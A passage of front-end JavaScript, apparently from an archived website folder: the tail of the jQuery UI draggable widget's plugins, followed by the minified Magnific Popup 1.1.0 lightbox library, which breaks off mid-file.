					// may have modified them in unexpected ways. (#8809, #10669)
					ui.helper.appendTo( draggable._parent );
					draggable._refreshOffsets( event );
					ui.position = draggable._generatePosition( event, true );

					draggable._trigger( "fromSortable", event );

					// Inform draggable that the helper is no longer in a valid drop zone
					draggable.dropped = false;

					// Need to refreshPositions of all sortables just in case removing
					// from one sortable changes the location of other sortables (#9675)
					$.each( draggable.sortables, function() {
						this.refreshPositions();
					} );
				}
			}
		} );
	}
} );

$.ui.plugin.add( "draggable", "cursor", {
	start: function( event, ui, instance ) {
		var t = $( "body" ),
			o = instance.options;

		if ( t.css( "cursor" ) ) {
			o._cursor = t.css( "cursor" );
		}
		t.css( "cursor", o.cursor );
	},
	stop: function( event, ui, instance ) {
		var o = instance.options;
		if ( o._cursor ) {
			$( "body" ).css( "cursor", o._cursor );
		}
	}
} );

$.ui.plugin.add( "draggable", "opacity", {
	start: function( event, ui, instance ) {
		var t = $( ui.helper ),
			o = instance.options;
		if ( t.css( "opacity" ) ) {
			o._opacity = t.css( "opacity" );
		}
		t.css( "opacity", o.opacity );
	},
	stop: function( event, ui, instance ) {
		var o = instance.options;
		if ( o._opacity ) {
			$( ui.helper ).css( "opacity", o._opacity );
		}
	}
} );

$.ui.plugin.add( "draggable", "scroll", {
	start: function( event, ui, i ) {
		if ( !i.scrollParentNotHidden ) {
			i.scrollParentNotHidden = i.helper.scrollParent( false );
		}

		if ( i.scrollParentNotHidden[ 0 ] !== i.document[ 0 ] &&
				i.scrollParentNotHidden[ 0 ].tagName !== "HTML" ) {
			i.overflowOffset = i.scrollParentNotHidden.offset();
		}
	},
	drag: function( event, ui, i  ) {

		var o = i.options,
			scrolled = false,
			scrollParent = i.scrollParentNotHidden[ 0 ],
			document = i.document[ 0 ];

		if ( scrollParent !== document && scrollParent.tagName !==
"HTML" ) {
			if ( !o.axis || o.axis !== "x" ) {
				if ( ( i.overflowOffset.top + scrollParent.offsetHeight ) - event.pageY
<
						o.scrollSensitivity ) {
					scrollParent.scrollTop = scrolled = scrollParent.scrollTop +
o.scrollSpeed;
				} else if ( event.pageY - i.overflowOffset.top < o.scrollSensitivity
) {
					scrollParent.scrollTop = scrolled = scrollParent.scrollTop -
o.scrollSpeed;
				}
			}

			if ( !o.axis || o.axis !== "y" ) {
				if ( ( i.overflowOffset.left + scrollParent.offsetWidth ) - event.pageX
<
						o.scrollSensitivity ) {
					scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft +
o.scrollSpeed;
				} else if ( event.pageX - i.overflowOffset.left <
o.scrollSensitivity ) {
					scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft -
o.scrollSpeed;
				}
			}

		} else {

			if ( !o.axis || o.axis !== "x" ) {
				if ( event.pageY - $( document ).scrollTop() < o.scrollSensitivity )
{
					scrolled = $( document ).scrollTop( $( document ).scrollTop() -
o.scrollSpeed );
				} else if ( $( window ).height() - ( event.pageY - $( document
).scrollTop() ) <
						o.scrollSensitivity ) {
					scrolled = $( document ).scrollTop( $( document ).scrollTop() +
o.scrollSpeed );
				}
			}

			if ( !o.axis || o.axis !== "y" ) {
				if ( event.pageX - $( document ).scrollLeft() < o.scrollSensitivity
) {
					scrolled = $( document ).scrollLeft(
						$( document ).scrollLeft() - o.scrollSpeed
					);
				} else if ( $( window ).width() - ( event.pageX - $( document
).scrollLeft() ) <
						o.scrollSensitivity ) {
					scrolled = $( document ).scrollLeft(
						$( document ).scrollLeft() + o.scrollSpeed
					);
				}
			}

		}

		if ( scrolled !== false && $.ui.ddmanager &&
!o.dropBehaviour ) {
			$.ui.ddmanager.prepareOffsets( i, event );
		}

	}
} );

$.ui.plugin.add( "draggable", "snap", {
	start: function( event, ui, i ) {

		var o = i.options;

		i.snapElements = [];

		$( o.snap.constructor !== String ? ( o.snap.items ||
":data(ui-draggable)" ) : o.snap )
			.each( function() {
				var $t = $( this ),
					$o = $t.offset();
				if ( this !== i.element[ 0 ] ) {
					i.snapElements.push( {
						item: this,
						width: $t.outerWidth(), height: $t.outerHeight(),
						top: $o.top, left: $o.left
					} );
				}
			} );

	},
	drag: function( event, ui, inst ) {

		var ts, bs, ls, rs, l, r, t, b, i, first,
			o = inst.options,
			d = o.snapTolerance,
			x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width,
			y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height;

		for ( i = inst.snapElements.length - 1; i >= 0; i-- ) {

			l = inst.snapElements[ i ].left - inst.margins.left;
			r = l + inst.snapElements[ i ].width;
			t = inst.snapElements[ i ].top - inst.margins.top;
			b = t + inst.snapElements[ i ].height;

			if ( x2 < l - d || x1 > r + d || y2 < t - d || y1 > b + d ||
					!$.contains( inst.snapElements[ i ].item.ownerDocument,
					inst.snapElements[ i ].item ) ) {
				if ( inst.snapElements[ i ].snapping ) {
					( inst.options.snap.release &&
						inst.options.snap.release.call(
							inst.element,
							event,
							$.extend( inst._uiHash(), { snapItem: inst.snapElements[ i ].item }
)
						) );
				}
				inst.snapElements[ i ].snapping = false;
				continue;
			}

			if ( o.snapMode !== "inner" ) {
				ts = Math.abs( t - y2 ) <= d;
				bs = Math.abs( b - y1 ) <= d;
				ls = Math.abs( l - x2 ) <= d;
				rs = Math.abs( r - x1 ) <= d;
				if ( ts ) {
					ui.position.top = inst._convertPositionTo( "relative", {
						top: t - inst.helperProportions.height,
						left: 0
					} ).top;
				}
				if ( bs ) {
					ui.position.top = inst._convertPositionTo( "relative", {
						top: b,
						left: 0
					} ).top;
				}
				if ( ls ) {
					ui.position.left = inst._convertPositionTo( "relative", {
						top: 0,
						left: l - inst.helperProportions.width
					} ).left;
				}
				if ( rs ) {
					ui.position.left = inst._convertPositionTo( "relative", {
						top: 0,
						left: r
					} ).left;
				}
			}

			first = ( ts || bs || ls || rs );

			if ( o.snapMode !== "outer" ) {
				ts = Math.abs( t - y1 ) <= d;
				bs = Math.abs( b - y2 ) <= d;
				ls = Math.abs( l - x1 ) <= d;
				rs = Math.abs( r - x2 ) <= d;
				if ( ts ) {
					ui.position.top = inst._convertPositionTo( "relative", {
						top: t,
						left: 0
					} ).top;
				}
				if ( bs ) {
					ui.position.top = inst._convertPositionTo( "relative", {
						top: b - inst.helperProportions.height,
						left: 0
					} ).top;
				}
				if ( ls ) {
					ui.position.left = inst._convertPositionTo( "relative", {
						top: 0,
						left: l
					} ).left;
				}
				if ( rs ) {
					ui.position.left = inst._convertPositionTo( "relative", {
						top: 0,
						left: r - inst.helperProportions.width
					} ).left;
				}
			}

			if ( !inst.snapElements[ i ].snapping && ( ts || bs || ls || rs
|| first ) ) {
				( inst.options.snap.snap &&
					inst.options.snap.snap.call(
						inst.element,
						event,
						$.extend( inst._uiHash(), {
							snapItem: inst.snapElements[ i ].item
						} ) ) );
			}
			inst.snapElements[ i ].snapping = ( ts || bs || ls || rs || first );

		}

	}
} );

$.ui.plugin.add( "draggable", "stack", {
	start: function( event, ui, instance ) {
		var min,
			o = instance.options,
			group = $.makeArray( $( o.stack ) ).sort( function( a, b ) {
				return ( parseInt( $( a ).css( "zIndex" ), 10 ) || 0 ) -
					( parseInt( $( b ).css( "zIndex" ), 10 ) || 0 );
			} );

		if ( !group.length ) { return; }

		min = parseInt( $( group[ 0 ] ).css( "zIndex" ), 10 ) || 0;
		$( group ).each( function( i ) {
			$( this ).css( "zIndex", min + i );
		} );
		this.css( "zIndex", ( min + group.length ) );
	}
} );

$.ui.plugin.add( "draggable", "zIndex", {
	start: function( event, ui, instance ) {
		var t = $( ui.helper ),
			o = instance.options;

		if ( t.css( "zIndex" ) ) {
			o._zIndex = t.css( "zIndex" );
		}
		t.css( "zIndex", o.zIndex );
	},
	stop: function( event, ui, instance ) {
		var o = instance.options;

		if ( o._zIndex ) {
			$( ui.helper ).css( "zIndex", o._zIndex );
		}
	}
} );

var widgetsDraggable = $.ui.draggable;




}));js/jquery.magnific-popup.min.js000064400000047370151165074470012561
0ustar00/*! Magnific Popup - v1.1.0 - 2016-02-20
* http://dimsemenov.com/plugins/magnific-popup/
* Copyright (c) 2016 Dmitry Semenov; */
!function(a){"function"==typeof
define&&define.amd?define(["jquery"],a):a("object"==typeof
exports?require("jquery"):window.jQuery||window.Zepto)}(function(a){var
b,c,d,e,f,g,h="Close",i="BeforeClose",j="AfterClose",k="BeforeAppend",l="MarkupParse",m="Open",n="Change",o="mfp",p="."+o,q="mfp-ready",r="mfp-removing",s="mfp-prevent-close",t=function(){},u=!!window.jQuery,v=a(window),w=function(a,c){b.ev.on(o+a+p,c)},x=function(b,c,d,e){var
f=document.createElement("div");return
f.className="mfp-"+b,d&&(f.innerHTML=d),e?c&&c.appendChild(f):(f=a(f),c&&f.appendTo(c)),f},y=function(c,d){b.ev.triggerHandler(o+c,d),b.st.callbacks&&(c=c.charAt(0).toLowerCase()+c.slice(1),b.st.callbacks[c]&&b.st.callbacks[c].apply(b,a.isArray(d)?d:[d]))},z=function(c){return
c===g&&b.currTemplate.closeBtn||(b.currTemplate.closeBtn=a(b.st.closeMarkup.replace("%title%",b.st.tClose)),g=c),b.currTemplate.closeBtn},A=function(){a.magnificPopup.instance||(b=new
t,b.init(),a.magnificPopup.instance=b)},B=function(){var
a=document.createElement("p").style,b=["ms","O","Moz","Webkit"];if(void
0!==a.transition)return!0;for(;b.length;)if(b.pop()+"Transition"in
a)return!0;return!1};t.prototype={constructor:t,init:function(){var
c=navigator.appVersion;b.isLowIE=b.isIE8=document.all&&!document.addEventListener,b.isAndroid=/android/gi.test(c),b.isIOS=/iphone|ipad|ipod/gi.test(c),b.supportsTransition=B(),b.probablyMobile=b.isAndroid||b.isIOS||/(Opera
Mini)|Kindle|webOS|BlackBerry|(Opera Mobi)|(Windows
Phone)|IEMobile/i.test(navigator.userAgent),d=a(document),b.popupsCache={}},open:function(c){var
e;if(c.isObj===!1){b.items=c.items.toArray(),b.index=0;var
g,h=c.items;for(e=0;e<h.length;e++)if(g=h[e],g.parsed&&(g=g.el[0]),g===c.el[0]){b.index=e;break}}else
b.items=a.isArray(c.items)?c.items:[c.items],b.index=c.index||0;if(b.isOpen)return
void
b.updateItemHTML();b.types=[],f="",c.mainEl&&c.mainEl.length?b.ev=c.mainEl.eq(0):b.ev=d,c.key?(b.popupsCache[c.key]||(b.popupsCache[c.key]={}),b.currTemplate=b.popupsCache[c.key]):b.currTemplate={},b.st=a.extend(!0,{},a.magnificPopup.defaults,c),b.fixedContentPos="auto"===b.st.fixedContentPos?!b.probablyMobile:b.st.fixedContentPos,b.st.modal&&(b.st.closeOnContentClick=!1,b.st.closeOnBgClick=!1,b.st.showCloseBtn=!1,b.st.enableEscapeKey=!1),b.bgOverlay||(b.bgOverlay=x("bg").on("click"+p,function(){b.close()}),b.wrap=x("wrap").attr("tabindex",-1).on("click"+p,function(a){b._checkIfClose(a.target)&&b.close()}),b.container=x("container",b.wrap)),b.contentContainer=x("content"),b.st.preloader&&(b.preloader=x("preloader",b.container,b.st.tLoading));var
i=a.magnificPopup.modules;for(e=0;e<i.length;e++){var
j=i[e];j=j.charAt(0).toUpperCase()+j.slice(1),b["init"+j].call(b)}y("BeforeOpen"),b.st.showCloseBtn&&(b.st.closeBtnInside?(w(l,function(a,b,c,d){c.close_replaceWith=z(d.type)}),f+="
mfp-close-btn-in"):b.wrap.append(z())),b.st.alignTop&&(f+="
mfp-align-top"),b.fixedContentPos?b.wrap.css({overflow:b.st.overflowY,overflowX:"hidden",overflowY:b.st.overflowY}):b.wrap.css({top:v.scrollTop(),position:"absolute"}),(b.st.fixedBgPos===!1||"auto"===b.st.fixedBgPos&&!b.fixedContentPos)&&b.bgOverlay.css({height:d.height(),position:"absolute"}),b.st.enableEscapeKey&&d.on("keyup"+p,function(a){27===a.keyCode&&b.close()}),v.on("resize"+p,function(){b.updateSize()}),b.st.closeOnContentClick||(f+="
mfp-auto-cursor"),f&&b.wrap.addClass(f);var
k=b.wH=v.height(),n={};if(b.fixedContentPos&&b._hasScrollBar(k)){var
o=b._getScrollbarSize();o&&(n.marginRight=o)}b.fixedContentPos&&(b.isIE7?a("body,
html").css("overflow","hidden"):n.overflow="hidden");var
r=b.st.mainClass;return b.isIE7&&(r+="
mfp-ie7"),r&&b._addClassToMFP(r),b.updateItemHTML(),y("BuildControls"),a("html").css(n),b.bgOverlay.add(b.wrap).prependTo(b.st.prependTo||a(document.body)),b._lastFocusedEl=document.activeElement,setTimeout(function(){b.content?(b._addClassToMFP(q),b._setFocus()):b.bgOverlay.addClass(q),d.on("focusin"+p,b._onFocusIn)},16),b.isOpen=!0,b.updateSize(k),y(m),c},close:function(){b.isOpen&&(y(i),b.isOpen=!1,b.st.removalDelay&&!b.isLowIE&&b.supportsTransition?(b._addClassToMFP(r),setTimeout(function(){b._close()},b.st.removalDelay)):b._close())},_close:function(){y(h);var
c=r+" "+q+"
";if(b.bgOverlay.detach(),b.wrap.detach(),b.container.empty(),b.st.mainClass&&(c+=b.st.mainClass+"
"),b._removeClassFromMFP(c),b.fixedContentPos){var
e={marginRight:""};b.isIE7?a("body,
html").css("overflow",""):e.overflow="",a("html").css(e)}d.off("keyup"+p+"
focusin"+p),b.ev.off(p),b.wrap.attr("class","mfp-wrap").removeAttr("style"),b.bgOverlay.attr("class","mfp-bg"),b.container.attr("class","mfp-container"),!b.st.showCloseBtn||b.st.closeBtnInside&&b.currTemplate[b.currItem.type]!==!0||b.currTemplate.closeBtn&&b.currTemplate.closeBtn.detach(),b.st.autoFocusLast&&b._lastFocusedEl&&a(b._lastFocusedEl).focus(),b.currItem=null,b.content=null,b.currTemplate=null,b.prevHeight=0,y(j)},updateSize:function(a){if(b.isIOS){var
c=document.documentElement.clientWidth/window.innerWidth,d=window.innerHeight*c;b.wrap.css("height",d),b.wH=d}else
b.wH=a||v.height();b.fixedContentPos||b.wrap.css("height",b.wH),y("Resize")},updateItemHTML:function(){var
c=b.items[b.index];b.contentContainer.detach(),b.content&&b.content.detach(),c.parsed||(c=b.parseEl(b.index));var
d=c.type;if(y("BeforeChange",[b.currItem?b.currItem.type:"",d]),b.currItem=c,!b.currTemplate[d]){var
f=b.st[d]?b.st[d].markup:!1;y("FirstMarkupParse",f),f?b.currTemplate[d]=a(f):b.currTemplate[d]=!0}e&&e!==c.type&&b.container.removeClass("mfp-"+e+"-holder");var
g=b["get"+d.charAt(0).toUpperCase()+d.slice(1)](c,b.currTemplate[d]);b.appendContent(g,d),c.preloaded=!0,y(n,c),e=c.type,b.container.prepend(b.contentContainer),y("AfterChange")},appendContent:function(a,c){b.content=a,a?b.st.showCloseBtn&&b.st.closeBtnInside&&b.currTemplate[c]===!0?b.content.find(".mfp-close").length||b.content.append(z()):b.content=a:b.content="",y(k),b.container.addClass("mfp-"+c+"-holder"),b.contentContainer.append(b.content)},parseEl:function(c){var
d,e=b.items[c];if(e.tagName?e={el:a(e)}:(d=e.type,e={data:e,src:e.src}),e.el){for(var
f=b.types,g=0;g<f.length;g++)if(e.el.hasClass("mfp-"+f[g])){d=f[g];break}e.src=e.el.attr("data-mfp-src"),e.src||(e.src=e.el.attr("href"))}return
e.type=d||b.st.type||"inline",e.index=c,e.parsed=!0,b.items[c]=e,y("ElementParse",e),b.items[c]},addGroup:function(a,c){var
d=function(d){d.mfpEl=this,b._openClick(d,a,c)};c||(c={});var
e="click.magnificPopup";c.mainEl=a,c.items?(c.isObj=!0,a.off(e).on(e,d)):(c.isObj=!1,c.delegate?a.off(e).on(e,c.delegate,d):(c.items=a,a.off(e).on(e,d)))},_openClick:function(c,d,e){var
f=void
0!==e.midClick?e.midClick:a.magnificPopup.defaults.midClick;if(f||!(2===c.which||c.ctrlKey||c.metaKey||c.altKey||c.shiftKey)){var
g=void
0!==e.disableOn?e.disableOn:a.magnificPopup.defaults.disableOn;if(g)if(a.isFunction(g)){if(!g.call(b))return!0}else
if(v.width()<g)return!0;c.type&&(c.preventDefault(),b.isOpen&&c.stopPropagation()),e.el=a(c.mfpEl),e.delegate&&(e.items=d.find(e.delegate)),b.open(e)}},updateStatus:function(a,d){if(b.preloader){c!==a&&b.container.removeClass("mfp-s-"+c),d||"loading"!==a||(d=b.st.tLoading);var
e={status:a,text:d};y("UpdateStatus",e),a=e.status,d=e.text,b.preloader.html(d),b.preloader.find("a").on("click",function(a){a.stopImmediatePropagation()}),b.container.addClass("mfp-s-"+a),c=a}},_checkIfClose:function(c){if(!a(c).hasClass(s)){var
d=b.st.closeOnContentClick,e=b.st.closeOnBgClick;if(d&&e)return!0;if(!b.content||a(c).hasClass("mfp-close")||b.preloader&&c===b.preloader[0])return!0;if(c===b.content[0]||a.contains(b.content[0],c)){if(d)return!0}else
if(e&&a.contains(document,c))return!0;return!1}},_addClassToMFP:function(a){b.bgOverlay.addClass(a),b.wrap.addClass(a)},_removeClassFromMFP:function(a){this.bgOverlay.removeClass(a),b.wrap.removeClass(a)},_hasScrollBar:function(a){return(b.isIE7?d.height():document.body.scrollHeight)>(a||v.height())},_setFocus:function(){(b.st.focus?b.content.find(b.st.focus).eq(0):b.wrap).focus()},_onFocusIn:function(c){return
c.target===b.wrap[0]||a.contains(b.wrap[0],c.target)?void
0:(b._setFocus(),!1)},_parseMarkup:function(b,c,d){var
e;d.data&&(c=a.extend(d.data,c)),y(l,[b,c,d]),a.each(c,function(c,d){if(void
0===d||d===!1)return!0;if(e=c.split("_"),e.length>1){var
f=b.find(p+"-"+e[0]);if(f.length>0){var
g=e[1];"replaceWith"===g?f[0]!==d[0]&&f.replaceWith(d):"img"===g?f.is("img")?f.attr("src",d):f.replaceWith(a("<img>").attr("src",d).attr("class",f.attr("class"))):f.attr(e[1],d)}}else
b.find(p+"-"+c).html(d)})},_getScrollbarSize:function(){if(void
0===b.scrollbarSize){var
a=document.createElement("div");a.style.cssText="width:
99px; height: 99px; overflow: scroll; position: absolute; top:
-9999px;",document.body.appendChild(a),b.scrollbarSize=a.offsetWidth-a.clientWidth,document.body.removeChild(a)}return
b.scrollbarSize}},a.magnificPopup={instance:null,proto:t.prototype,modules:[],open:function(b,c){return
A(),b=b?a.extend(!0,{},b):{},b.isObj=!0,b.index=c||0,this.instance.open(b)},close:function(){return
a.magnificPopup.instance&&a.magnificPopup.instance.close()},registerModule:function(b,c){c.options&&(a.magnificPopup.defaults[b]=c.options),a.extend(this.proto,c.proto),this.modules.push(b)},defaults:{disableOn:0,key:null,midClick:!1,mainClass:"",preloader:!0,focus:"",closeOnContentClick:!1,closeOnBgClick:!0,closeBtnInside:!0,showCloseBtn:!0,enableEscapeKey:!0,modal:!1,alignTop:!1,removalDelay:0,prependTo:null,fixedContentPos:"auto",fixedBgPos:"auto",overflowY:"auto",closeMarkup:'<button
title="%title%" type="button"
class="mfp-close">&#215;</button>',tClose:"Close
(Esc)",tLoading:"Loading...",autoFocusLast:!0}},a.fn.magnificPopup=function(c){A();var
d=a(this);if("string"==typeof c)if("open"===c){var
e,f=u?d.data("magnificPopup"):d[0].magnificPopup,g=parseInt(arguments[1],10)||0;f.items?e=f.items[g]:(e=d,f.delegate&&(e=e.find(f.delegate)),e=e.eq(g)),b._openClick({mfpEl:e},d,f)}else
b.isOpen&&b[c].apply(b,Array.prototype.slice.call(arguments,1));else
c=a.extend(!0,{},c),u?d.data("magnificPopup",c):d[0].magnificPopup=c,b.addGroup(d,c);return
d};var
C,D,E,F="inline",G=function(){E&&(D.after(E.addClass(C)).detach(),E=null)};a.magnificPopup.registerModule(F,{options:{hiddenClass:"hide",markup:"",tNotFound:"Content
not
found"},proto:{initInline:function(){b.types.push(F),w(h+"."+F,function(){G()})},getInline:function(c,d){if(G(),c.src){var
e=b.st.inline,f=a(c.src);if(f.length){var
g=f[0].parentNode;g&&g.tagName&&(D||(C=e.hiddenClass,D=x(C),C="mfp-"+C),E=f.after(D).detach().removeClass(C)),b.updateStatus("ready")}else
b.updateStatus("error",e.tNotFound),f=a("<div>");return
c.inlineElement=f,f}return
b.updateStatus("ready"),b._parseMarkup(d,{},c),d}}});var
H,I="ajax",J=function(){H&&a(document.body).removeClass(H)},K=function(){J(),b.req&&b.req.abort()};a.magnificPopup.registerModule(I,{options:{settings:null,cursor:"mfp-ajax-cur",tError:'<a
href="%url%">The content</a> could not be
loaded.'},proto:{initAjax:function(){b.types.push(I),H=b.st.ajax.cursor,w(h+"."+I,K),w("BeforeChange."+I,K)},getAjax:function(c){H&&a(document.body).addClass(H),b.updateStatus("loading");var
d=a.extend({url:c.src,success:function(d,e,f){var
g={data:d,xhr:f};y("ParseAjax",g),b.appendContent(a(g.data),I),c.finished=!0,J(),b._setFocus(),setTimeout(function(){b.wrap.addClass(q)},16),b.updateStatus("ready"),y("AjaxContentAdded")},error:function(){J(),c.finished=c.loadError=!0,b.updateStatus("error",b.st.ajax.tError.replace("%url%",c.src))}},b.st.ajax.settings);return
b.req=a.ajax(d),""}}});var
L,M=function(c){if(c.data&&void 0!==c.data.title)return
c.data.title;var d=b.st.image.titleSrc;if(d){if(a.isFunction(d))return
d.call(b,c);if(c.el)return
c.el.attr(d)||""}return""};a.magnificPopup.registerModule("image",{options:{markup:'<div
class="mfp-figure"><div
class="mfp-close"></div><figure><div
class="mfp-img"></div><figcaption><div
class="mfp-bottom-bar"><div
class="mfp-title"></div><div
class="mfp-counter"></div></div></figcaption></figure></div>',cursor:"mfp-zoom-out-cur",titleSrc:"title",verticalFit:!0,tError:'<a
href="%url%">The image</a> could not be
loaded.'},proto:{initImage:function(){var
c=b.st.image,d=".image";b.types.push("image"),w(m+d,function(){"image"===b.currItem.type&&c.cursor&&a(document.body).addClass(c.cursor)}),w(h+d,function(){c.cursor&&a(document.body).removeClass(c.cursor),v.off("resize"+p)}),w("Resize"+d,b.resizeImage),b.isLowIE&&w("AfterChange",b.resizeImage)},resizeImage:function(){var
a=b.currItem;if(a&&a.img&&b.st.image.verticalFit){var
c=0;b.isLowIE&&(c=parseInt(a.img.css("padding-top"),10)+parseInt(a.img.css("padding-bottom"),10)),a.img.css("max-height",b.wH-c)}},_onImageHasSize:function(a){a.img&&(a.hasSize=!0,L&&clearInterval(L),a.isCheckingImgSize=!1,y("ImageHasSize",a),a.imgHidden&&(b.content&&b.content.removeClass("mfp-loading"),a.imgHidden=!1))},findImageSize:function(a){var
c=0,d=a.img[0],e=function(f){L&&clearInterval(L),L=setInterval(function(){return
d.naturalWidth>0?void
b._onImageHasSize(a):(c>200&&clearInterval(L),c++,void(3===c?e(10):40===c?e(50):100===c&&e(500)))},f)};e(1)},getImage:function(c,d){var
e=0,f=function(){c&&(c.img[0].complete?(c.img.off(".mfploader"),c===b.currItem&&(b._onImageHasSize(c),b.updateStatus("ready")),c.hasSize=!0,c.loaded=!0,y("ImageLoadComplete")):(e++,200>e?setTimeout(f,100):g()))},g=function(){c&&(c.img.off(".mfploader"),c===b.currItem&&(b._onImageHasSize(c),b.updateStatus("error",h.tError.replace("%url%",c.src))),c.hasSize=!0,c.loaded=!0,c.loadError=!0)},h=b.st.image,i=d.find(".mfp-img");if(i.length){var
j=document.createElement("img");j.className="mfp-img",c.el&&c.el.find("img").length&&(j.alt=c.el.find("img").attr("alt")),c.img=a(j).on("load.mfploader",f).on("error.mfploader",g),j.src=c.src,i.is("img")&&(c.img=c.img.clone()),j=c.img[0],j.naturalWidth>0?c.hasSize=!0:j.width||(c.hasSize=!1)}return
b._parseMarkup(d,{title:M(c),img_replaceWith:c.img},c),b.resizeImage(),c.hasSize?(L&&clearInterval(L),c.loadError?(d.addClass("mfp-loading"),b.updateStatus("error",h.tError.replace("%url%",c.src))):(d.removeClass("mfp-loading"),b.updateStatus("ready")),d):(b.updateStatus("loading"),c.loading=!0,c.hasSize||(c.imgHidden=!0,d.addClass("mfp-loading"),b.findImageSize(c)),d)}}});var
N,O=function(){return void 0===N&&(N=void
0!==document.createElement("p").style.MozTransform),N};a.magnificPopup.registerModule("zoom",{options:{enabled:!1,easing:"ease-in-out",duration:300,opener:function(a){return
a.is("img")?a:a.find("img")}},proto:{initZoom:function(){var
a,c=b.st.zoom,d=".zoom";if(c.enabled&&b.supportsTransition){var
e,f,g=c.duration,j=function(a){var
b=a.clone().removeAttr("style").removeAttr("class").addClass("mfp-animated-image"),d="all
"+c.duration/1e3+"s
"+c.easing,e={position:"fixed",zIndex:9999,left:0,top:0,"-webkit-backface-visibility":"hidden"},f="transition";return
e["-webkit-"+f]=e["-moz-"+f]=e["-o-"+f]=e[f]=d,b.css(e),b},k=function(){b.content.css("visibility","visible")};w("BuildControls"+d,function(){if(b._allowZoom()){if(clearTimeout(e),b.content.css("visibility","hidden"),a=b._getItemToZoom(),!a)return
void
k();f=j(a),f.css(b._getOffset()),b.wrap.append(f),e=setTimeout(function(){f.css(b._getOffset(!0)),e=setTimeout(function(){k(),setTimeout(function(){f.remove(),a=f=null,y("ZoomAnimationEnded")},16)},g)},16)}}),w(i+d,function(){if(b._allowZoom()){if(clearTimeout(e),b.st.removalDelay=g,!a){if(a=b._getItemToZoom(),!a)return;f=j(a)}f.css(b._getOffset(!0)),b.wrap.append(f),b.content.css("visibility","hidden"),setTimeout(function(){f.css(b._getOffset())},16)}}),w(h+d,function(){b._allowZoom()&&(k(),f&&f.remove(),a=null)})}},_allowZoom:function(){return"image"===b.currItem.type},_getItemToZoom:function(){return
b.currItem.hasSize?b.currItem.img:!1},_getOffset:function(c){var
d;d=c?b.currItem.img:b.st.zoom.opener(b.currItem.el||b.currItem);var
e=d.offset(),f=parseInt(d.css("padding-top"),10),g=parseInt(d.css("padding-bottom"),10);e.top-=a(window).scrollTop()-f;var
h={width:d.width(),height:(u?d.innerHeight():d[0].offsetHeight)-g-f};return
O()?h["-moz-transform"]=h.transform="translate("+e.left+"px,"+e.top+"px)":(h.left=e.left,h.top=e.top),h}}});var
P="iframe",Q="//about:blank",R=function(a){if(b.currTemplate[P]){var
c=b.currTemplate[P].find("iframe");c.length&&(a||(c[0].src=Q),b.isIE8&&c.css("display",a?"block":"none"))}};a.magnificPopup.registerModule(P,{options:{markup:'<div
class="mfp-iframe-scaler"><div
class="mfp-close"></div><iframe
class="mfp-iframe" src="//about:blank"
frameborder="0"
allowfullscreen></iframe></div>',srcAction:"iframe_src",patterns:{youtube:{index:"youtube.com",id:"v=",src:"//www.youtube.com/embed/%id%?autoplay=1"},vimeo:{index:"vimeo.com/",id:"/",src:"//player.vimeo.com/video/%id%?autoplay=1"},gmaps:{index:"//maps.google.",src:"%id%&output=embed"}}},proto:{initIframe:function(){b.types.push(P),w("BeforeChange",function(a,b,c){b!==c&&(b===P?R():c===P&&R(!0))}),w(h+"."+P,function(){R()})},getIframe:function(c,d){var
e=c.src,f=b.st.iframe;a.each(f.patterns,function(){return
e.indexOf(this.index)>-1?(this.id&&(e="string"==typeof
this.id?e.substr(e.lastIndexOf(this.id)+this.id.length,e.length):this.id.call(this,e)),e=this.src.replace("%id%",e),!1):void
0});var g={};return
f.srcAction&&(g[f.srcAction]=e),b._parseMarkup(d,g,c),b.updateStatus("ready"),d}}});var
S=function(a){var c=b.items.length;return
a>c-1?a-c:0>a?c+a:a},T=function(a,b,c){return
a.replace(/%curr%/gi,b+1).replace(/%total%/gi,c)};a.magnificPopup.registerModule("gallery",{options:{enabled:!1,arrowMarkup:'<button
title="%title%" type="button" class="mfp-arrow
mfp-arrow-%dir%"></button>',preload:[0,2],navigateByImgClick:!0,arrows:!0,tPrev:"Previous
(Left arrow key)",tNext:"Next (Right arrow
key)",tCounter:"%curr% of
%total%"},proto:{initGallery:function(){var
c=b.st.gallery,e=".mfp-gallery";return
b.direction=!0,c&&c.enabled?(f+="
mfp-gallery",w(m+e,function(){c.navigateByImgClick&&b.wrap.on("click"+e,".mfp-img",function(){return
b.items.length>1?(b.next(),!1):void
0}),d.on("keydown"+e,function(a){37===a.keyCode?b.prev():39===a.keyCode&&b.next()})}),w("UpdateStatus"+e,function(a,c){c.text&&(c.text=T(c.text,b.currItem.index,b.items.length))}),w(l+e,function(a,d,e,f){var
g=b.items.length;e.counter=g>1?T(c.tCounter,f.index,g):""}),w("BuildControls"+e,function(){if(b.items.length>1&&c.arrows&&!b.arrowLeft){var
d=c.arrowMarkup,e=b.arrowLeft=a(d.replace(/%title%/gi,c.tPrev).replace(/%dir%/gi,"left")).addClass(s),f=b.arrowRight=a(d.replace(/%title%/gi,c.tNext).replace(/%dir%/gi,"right")).addClass(s);e.click(function(){b.prev()}),f.click(function(){b.next()}),b.container.append(e.add(f))}}),w(n+e,function(){b._preloadTimeout&&clearTimeout(b._preloadTimeout),b._preloadTimeout=setTimeout(function(){b.preloadNearbyImages(),b._preloadTimeout=null},16)}),void
w(h+e,function(){d.off(e),b.wrap.off("click"+e),b.arrowRight=b.arrowLeft=null})):!1},next:function(){b.direction=!0,b.index=S(b.index+1),b.updateItemHTML()},prev:function(){b.direction=!1,b.index=S(b.index-1),b.updateItemHTML()},goTo:function(a){b.direction=a>=b.index,b.index=a,b.updateItemHTML()},preloadNearbyImages:function(){var
a,c=b.st.gallery.preload,d=Math.min(c[0],b.items.length),e=Math.min(c[1],b.items.length);for(a=1;a<=(b.direction?e:d);a++)b._preloadItem(b.index+a);for(a=1;a<=(b.direction?d:e);a++)b._preloadItem(b.index-a)},_preloadItem:function(c){if(c=S(c),!b.items[c].preloaded){var
d=b.items[c];d.parsed||(d=b.parseEl(c)),y("LazyLoad",d),"image"===d.type&&(d.img=a('<img
class="mfp-img"
/>').on("load.mfploader",function(){d.hasSize=!0}).on("error.mfploader",function(){d.hasSize=!0,d.loadError=!0,y("LazyLoadError",d)}).attr("src",d.src)),d.preloaded=!0}}}});var
U="retina";a.magnificPopup.registerModule(U,{options:{replaceSrc:function(a){return
a.src.replace(/\.\w+$/,function(a){return"@2x"+a})},ratio:1},proto:{initRetina:function(){if(window.devicePixelRatio>1){var
